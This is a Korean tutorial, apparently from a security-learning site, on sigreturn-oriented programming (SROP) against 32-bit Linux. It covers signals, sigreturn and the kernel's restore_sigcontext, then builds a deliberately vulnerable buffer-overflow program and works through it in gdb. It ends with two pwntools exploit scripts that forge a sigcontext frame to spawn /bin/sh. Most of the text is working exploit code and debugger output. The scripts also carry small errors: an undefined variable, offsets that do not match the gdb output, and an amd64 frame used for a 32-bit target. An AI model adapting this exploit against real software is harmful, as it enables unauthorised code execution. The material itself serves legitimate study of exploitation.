Excuse the ads! We need some help to keep our site up.
signal은 프로세스에게 이벤트가 발생했음을 알립니다.
signal은 다른 프로세스에게 시그널을 전송 할 수 있습니다.
signal은 일반적으로 커널이 송신하며, 다음과 같은 이벤트 종류가 있습니다.
하드웨어 예외가 발생한 경우
사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우
Interrupt character(Control + c)
sigreturn() : Kernel Mode stack에 hardware context를 복사하고, User Mode stack의 원래의 content를 저장한다.
//gcc -m32 -g -o sig32 sig.c #include <stdio.h> #include <signal.h> struct sigcontext sigcontext; void handle_signal(int signum){ printf("Signal number: %d\n", signum); } int main(){ signal(SIGINT, (void *)handle_signal); while(1) {} return 0; } |
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig32 Reading symbols from ./sig32...done. gdb-peda$ b handle_signal Breakpoint 1 at 0x8048441: file sig.c, line 9. gdb-peda$ handle SIGINT nostop pass Signal Stop Print Pass to program Description SIGINT No Yes Yes Interrupt gdb-peda$ |
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/sig32 ^C Program received signal SIGINT, Interrupt. Breakpoint 1, handle_signal (signum=0x2) at sig.c:9 9 printf("Signal number: %d\n", signum); gdb-peda$ bt #0 handle_signal (signum=0x2) at sig.c:9 #1 <signal handler called> #2 main () at sig.c:15 #3 0xf7e1d637 in __libc_start_main () from /lib32/libc.so.6 #4 0x08048361 in _start () gdb-peda$ |
gdb-peda$ frame 0 #0 handle_signal (signum=0x2) at sig.c:9 9 printf("Signal number: %d\n", signum); gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eax $1 = 0x0 gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->esp $2 = 0xffffd590 gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eip $3 = 0x804847a gdb-peda$ |
gdb-peda$ frame 1 #1 <signal handler called> gdb-peda$ x/3i $eip => 0xf7fd8de0 <__kernel_sigreturn>: pop eax 0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77 0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80 gdb-peda$ |
gdb-peda$ b 15 Breakpoint 2 at 0x804847a: file sig.c, line 15. gdb-peda$ c Continuing. Signal number: 2 Breakpoint 2, main () at sig.c:15 15 while(1) {} gdb-peda$ i r eax 0x0 0x0 ecx 0x0 0x0 edx 0x0 0x0 ebx 0x0 0x0 esp 0xffffd590 0xffffd590 ebp 0xffffd598 0xffffd598 esi 0xf7fb5000 0xf7fb5000 edi 0xf7fb5000 0xf7fb5000 eip 0x804847a 0x804847a <main+35> eflags 0x286 [ PF SF IF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$ |
#ifdef CONFIG_X86_32 asmlinkage unsigned long sys_sigreturn(void){ struct pt_regs *regs = current_pt_regs(); struct sigframe __user *frame; ... if (restore_sigcontext(regs, &frame->sc, 0)) goto badframe; ... } #endif /* CONFIG_X86_32 */ |
restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등 을 이용하여 stack에 저장된 값을 각 레지스터에 복사합니다.
즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있습니다.
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){ unsigned long buf_val; void __user *buf; unsigned int tmpflags; unsigned int err = 0; /* Always make any pending restarted system calls return -EINTR */ current->restart_block.fn = do_no_restart_syscall; get_user_try { #ifdef CONFIG_X86_32 set_user_gs(regs, GET_SEG(gs)); COPY_SEG(fs); COPY_SEG(es); COPY_SEG(ds); #endif /* CONFIG_X86_32 */ COPY(di); COPY(si); COPY(bp); COPY(sp); COPY(bx); COPY(dx); COPY(cx); COPY(ip); COPY(ax); ... } |
#define sigframe_ia32 sigframe ... #if defined(CONFIG_X86_32) || defined(CONFIG_IA32_EMULATION) struct sigframe_ia32 { u32 pretcode; int sig; struct sigcontext_32 sc; struct _fpstate_32 fpstate_unused; #ifdef CONFIG_IA32_EMULATION unsigned int extramask[_COMPAT_NSIG_WORDS-1]; #else /* !CONFIG_IA32_EMULATION */ unsigned long extramask[_NSIG_WORDS-1]; #endif /* CONFIG_IA32_EMULATION */ char retcode[8]; /* fp state follows here */ }; |
즉, SROP 를 이용할 때 Stack에 다음과 같은 형태로 값을 저장해야 합니다.
# ifdef __i386__ struct sigcontext { __u16 gs, __gsh; __u16 fs, __fsh; __u16 es, __esh; __u16 ds, __dsh; __u32 edi; __u32 esi; __u32 ebp; __u32 esp; __u32 ebx; __u32 edx; __u32 ecx; __u32 eax; __u32 trapno; __u32 err; __u32 eip; __u16 cs, __csh; __u32 eflags; __u32 esp_at_signal; __u16 ss, __ssh; struct _fpstate __user *fpstate; __u32 oldmask; __u32 cr2; }; |
//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 256); } void main(){ seteuid(getuid()); write(1,"Hello SROP\n",10); vuln(); } |
0x080485ab: vuln 함수 코드 첫부분
0x080485e7: read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop32 Reading symbols from ./srop32...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x080485ab <+0>: push ebp 0x080485ac <+1>: mov ebp,esp 0x080485ae <+3>: sub esp,0x48 0x080485b1 <+6>: sub esp,0x8 0x080485b4 <+9>: push 0x80486c0 0x080485b9 <+14>: push 0xffffffff 0x080485bb <+16>: call 0x8048490 <dlsym@plt> 0x080485c0 <+21>: add esp,0x10 0x080485c3 <+24>: mov DWORD PTR [ebp-0xc],eax 0x080485c6 <+27>: sub esp,0x8 0x080485c9 <+30>: push DWORD PTR [ebp-0xc] 0x080485cc <+33>: push 0x80486c7 0x080485d1 <+38>: call 0x8048440 <printf@plt> 0x080485d6 <+43>: add esp,0x10 0x080485d9 <+46>: sub esp,0x4 0x080485dc <+49>: push 0x100 0x080485e1 <+54>: lea eax,[ebp-0x3e] 0x080485e4 <+57>: push eax 0x080485e5 <+58>: push 0x0 0x080485e7 <+60>: call 0x8048430 <read@plt> 0x080485ec <+65>: add esp,0x10 0x080485ef <+68>: nop 0x080485f0 <+69>: leave 0x080485f1 <+70>: ret End of assembler dump. gdb-peda$ b *0x080485ab Breakpoint 1 at 0x80485ab gdb-peda$ b *0x080485e7 Breakpoint 2 at 0x80485e7 gdb-peda$ |
Return address(0xffffd58c) - buf 변수의 시작 주소 (0xffffd54a) = 66
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/srop32 Hello SROP Breakpoint 1, 0x080485ab in vuln () gdb-peda$ i r esp esp 0xffffd58c 0xffffd58c gdb-peda$ x/wx 0xffffd58c 0xffffd58c: 0x0804862d gdb-peda$ x/i 0x0804862d 0x804862d <main+59>: nop gdb-peda$ c Continuing. Printf() address : 0xf7e49020 Breakpoint 2, 0x080485e7 in vuln () gdb-peda$ i r esp esp 0xffffd530 0xffffd530 gdb-peda$ x/3wx 0xffffd530 0xffffd530: 0x00000000 0xffffd54a 0x00000100 gdb-peda$ p/d 0xffffd58c - 0xffffd54a $1 = 66 gdb-peda$ |
|
sigreturn() int 0x80 |
|
libc offset : printf(0xf7e49020) - libc base(0xf7e00000) = 0x49020
__kernel_sigreturn offset : __kernel_sigreturn(0xf7fd8de0) - libc base(0xf7e00000) = 0x1d8de0
"/bin/sh" offset : "/bin/sh" address(0xf7f5902b) - libc base(0xf7e00000) = 0x15902b
gdb-peda$ vmmap Start End Perm Name ... 0xf7e00000 0xf7fad000 r-xp /lib32/libc-2.23.so 0xf7fad000 0xf7fae000 ---p /lib32/libc-2.23.so 0xf7fae000 0xf7fb0000 r--p /lib32/libc-2.23.so 0xf7fb0000 0xf7fb1000 rw-p /lib32/libc-2.23.so ... gdb-peda$ p/x 0xf7e49020 - 0xf7e00000 $2 = 0x49020 gdb-peda$ p __kernel_sigreturn $3 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn> gdb-peda$ p/x 0xf7fd8de0 - 0xf7e00000 $4 = 0x1d8de0 gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f5902b ("/bin/sh") gdb-peda$ p/x 0xf7f5902b - 0xf7e00000 $5 = 0x15902b gdb-peda$ |
|
gdb-peda$ p __kernel_sigreturn $6 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn> gdb-peda$ x/3i 0xf7fd8de0 0xf7fd8de0 <__kernel_sigreturn>: pop eax 0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77 0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80 gdb-peda$ vmmap Start End Perm Name ... 0xf7fd5000 0xf7fd8000 r--p [vvar] 0xf7fd8000 0xf7fda000 r-xp [vdso] ... gdb-peda$ |
SROP의 Exploit code를 작성할 때 중요한 부분이 있습니다.
sigcontext 구조체 형태로 stack에 값을 저장할 때 최소한 CS, SS레지스터에 대한 값을 설정해야합니다.
Linux kernel에는 4개의 세그먼트만 존재합니다.
공격 코드들은 User Mode에서 실행되기 때문에 0x23, 0x2b가 사용됩니다.
이외의 값을 저장하게 되면 에러가 발생하게됩니다.
|
from pwn import * binary = ELF('./srop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x49020 ksigreturn = libcBase + 0x1d5de1 syscall = libcBase + 0x1d5de6 binsh = libcBase + 0x15902b print hex(libcBase) print hex(sigreturn) print hex(binsh) print hex(syscall) exploit = '' exploit += "\x90" * 66 exploit += p32(ksigreturn) exploit += p32(0x0) #GS exploit += p32(0x0) #FS exploit += p32(0x0) #ES exploit += p32(0x0) #DS exploit += p32(0x0) #EDI exploit += p32(0x0) #ESI exploit += p32(0x0) #EBP exploit += p32(syscall) #ESP exploit += p32(binsh) #EBX exploit += p32(0x0) #EDX exploit += p32(0x0) #ECX exploit += p32(0xb) #EAX exploit += p32(0x0) #trapno exploit += p32(0x0) #err exploit += p32(syscall) #EIP exploit += p32(0x23) #CS exploit += p32(0x0) #eflags exploit += p32(0x0) #esp_atsignal exploit += p32(0x2b) #SS p.send(exploit) p.interactive() |
from pwn import * binary = ELF('./srop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x49020 ksigreturn = libcBase + 0x1d5de1 syscall = libcBase + 0x1d5de6 binsh = libcBase + 0x15902b print hex(libcBase) print hex(sigreturn) print hex(binsh) print hex(syscall) exploit = '' exploit += "\x90" * 66 exploit += p32(ksigreturn) #ret frame = SigreturnFrame(kernel='amd64') frame.eax = constants.SYS_execve frame.ebx = binsh frame.esp = syscall frame.eip = syscall exploit += str(frame) p.send(exploit) p.interactive() |